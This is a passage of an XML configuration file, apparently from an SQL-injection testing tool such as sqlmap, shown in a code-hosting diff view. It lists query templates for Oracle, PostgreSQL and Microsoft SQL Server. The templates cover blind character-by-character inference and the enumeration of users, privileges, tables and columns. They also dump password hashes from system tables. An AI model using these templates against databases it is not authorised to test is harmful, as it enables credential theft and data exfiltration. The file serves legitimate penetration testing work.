<limitgroupstop/>
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<substring query="SUBSTR((%s), %d, %d)"/>
|
||||
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
||||
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
|
||||
<current_user query="SELECT SYS.LOGIN_USER FROM DUAL"/>
|
||||
<current_db query="SELECT SYS.DATABASE_NAME FROM DUAL"/>
|
||||
<users>
|
||||
<inband query="SELECT USERNAME FROM SYS.ALL_USERS"/>
|
||||
<blind query="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS limit FROM SYS.ALL_USERS) WHERE limit=%d" count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT NAME, PASSWORD FROM SYS.USER$" condition="NAME"/>
|
||||
<blind query="SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS limit FROM SYS.USER$ WHERE NAME='%s') WHERE limit=%d" count="SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$ WHERE NAME='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS" condition="GRANTEE"/>
|
||||
<blind query="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS limit FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE limit=%d" count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'"/>
|
||||
</privileges>
|
||||
<!-- NOTE: in Oracle there is no query to enumerate DBMS databases. It is possible only through a STATUS request to the Oracle TNS Listener negotiating its protocol -->
|
||||
<dbs/>
|
||||
<tables>
|
||||
<!-- NOTE: in Oracle the TABLESPACE_NAME is the spacename corresponding to SYS, SYSDBA, USERS. It is NOT the database name -->
|
||||
<inband query="SELECT TABLESPACE_NAME, TABLE_NAME FROM SYS.ALL_TABLES" condition="TABLESPACE_NAME"/>
|
||||
<blind query="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS limit FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE limit=%d" count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
||||
<blind query="SELECT COLUMN_NAME FROM (SELECT COLUMN_NAME, ROWNUM AS limit FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s') WHERE limit=%d" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s"/>
|
||||
<blind query="SELECT %s FROM (SELECT %s, ROWNUM AS limit FROM %s ORDER BY %s) WHERE limit=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||
</dump_table>
|
||||
</dbms>
|
||||
|
||||
<!-- PostgreSQL -->
|
||||
<dbms value="PostgreSQL">
|
||||
<cast query="CAST(%s AS CHARACTER(10000))"/>
|
||||
<length query="LENGTH(%s)"/>
|
||||
<isnull query="COALESCE(%s, ' ')"/>
|
||||
<delimiter query="||"/>
|
||||
<limit query="OFFSET %d LIMIT %d"/>
|
||||
<limitregexp query="\s+OFFSET\s+([\d]+)\s+LIMIT\s+([\d]+)"/>
|
||||
<limitgroupstart query="1"/>
|
||||
<limitgroupstop query="2"/>
|
||||
<limitstring query=" OFFSET "/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<substring query="SUBSTR((%s), %d, %d)"/>
|
||||
<inference query="AND ASCII(SUBSTR((%s), %d, 1)) > %d"/>
|
||||
<banner query="VERSION()"/>
|
||||
<current_user query="CURRENT_USER"/>
|
||||
<current_db query="CURRENT_DATABASE()"/>
|
||||
<users>
|
||||
<inband query="SELECT usename FROM pg_user"/>
|
||||
<blind query="SELECT DISTINCT(usename) FROM pg_user OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT usename, passwd FROM pg_shadow" condition="usename"/>
|
||||
<blind query="SELECT DISTINCT(passwd) FROM pg_shadow WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(passwd)) FROM pg_shadow WHERE usename='%s'"/>
|
||||
</passwords>
|
||||
<privileges>
|
||||
<inband query="SELECT usename, (CASE WHEN usecreatedb THEN 1 ELSE 0 END), (CASE WHEN usesuper THEN 1 ELSE 0 END), (CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user" condition="usename"/>
|
||||
<blind query="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END), (CASE WHEN usesuper THEN 1 ELSE 0 END), (CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
|
||||
</privileges>
|
||||
<dbs>
|
||||
<inband query="SELECT schemaname FROM pg_tables"/>
|
||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT schemaname, tablename FROM pg_tables" condition="schemaname"/>
|
||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/>
|
||||
<blind query="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' OFFSET %d LIMIT 1" query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'" count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s.%s"/>
|
||||
<blind query="SELECT %s FROM %s.%s ORDER BY %s OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM %s.%s"/>
|
||||
</dump_table>
|
||||
</dbms>
|
||||
|
||||
<!-- Microsoft SQL Server -->
|
||||
<dbms value="Microsoft SQL Server">
|
||||
<cast query="CAST(%s AS VARCHAR(8000))"/>
|
||||
<length query="LTRIM(STR(LEN(%s)))"/>
|
||||
<isnull query="ISNULL(%s, ' ')"/>
|
||||
<delimiter query="+"/>
|
||||
<limit query="SELECT TOP %d "/>
|
||||
<limitregexp query="SELECT\s+TOP\s+1\s+.+?\s+FROM\s+.+?\s+WHERE\s+.+?\s+NOT\s+IN\s+\(SELECT\s+TOP\s+[\d]+\s+"/>
|
||||
<limitgroupstart/>
|
||||
<limitgroupstop/>
|
||||
<limitstring/>
|
||||
<order query="ORDER BY %s ASC"/>
|
||||
<count query="COUNT(%s)"/>
|
||||
<substring query="SUBSTRING((%s), %d, %d)"/>
|
||||
<inference query="AND ASCII(SUBSTRING((%s), %d, 1)) > %d"/>
|
||||
<banner query="@@VERSION"/>
|
||||
<current_user query="SYSTEM_USER"/>
|
||||
<current_db query="DB_NAME()"/>
|
||||
<users>
|
||||
<inband query="SELECT name FROM master..syslogins" query2="SELECT name FROM sys.sql_logins"/>
|
||||
<blind query="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins ORDER BY name) ORDER BY name" query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins" count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
|
||||
</users>
|
||||
<passwords>
|
||||
<inband query="SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins" query2="SELECT name, master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins" condition="name"/>
|
||||
<blind query="SELECT TOP 1 master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins WHERE name='%s' AND name NOT IN (SELECT TOP %d name FROM master..sysxlogins WHERE name='%s' ORDER BY name) ORDER BY name" query2="SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='%s' AND name NOT IN (SELECT TOP %d name FROM sys.sql_logins WHERE name='%s' ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(password))) FROM master..sysxlogins WHERE name='%s'" count2="SELECT LTRIM(STR(COUNT(password_hash))) FROM sys.sql_logins WHERE name='%s'"/>
|
||||
</passwords>
|
||||
<!-- NOTE: in Microsoft SQL Server there is no query to enumerate DBMS users privileges -->
|
||||
<privileges/>
|
||||
<dbs>
|
||||
<inband query="SELECT name FROM master..sysdatabases"/>
|
||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||
</dbs>
|
||||
<tables>
|
||||
<inband query="SELECT name FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
|
||||
<blind query="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v') ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
|
||||
</tables>
|
||||
<columns>
|
||||
<inband query="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"/>
|
||||
<blind query="SELECT TOP 1 name FROM (SELECT TOP %s name FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s') ORDER BY name ASC) CTABLE ORDER BY name DESC" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"/>
|
||||
</columns>
|
||||
<dump_table>
|
||||
<inband query="SELECT %s FROM %s..%s"/>
|
||||
<blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s ORDER BY %s) ORDER BY %s" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>
|
||||
</dump_table>
|
||||
</dbms>
|
||||
|
||||
</root>
|
Loading…
Reference in New Issue
Block a user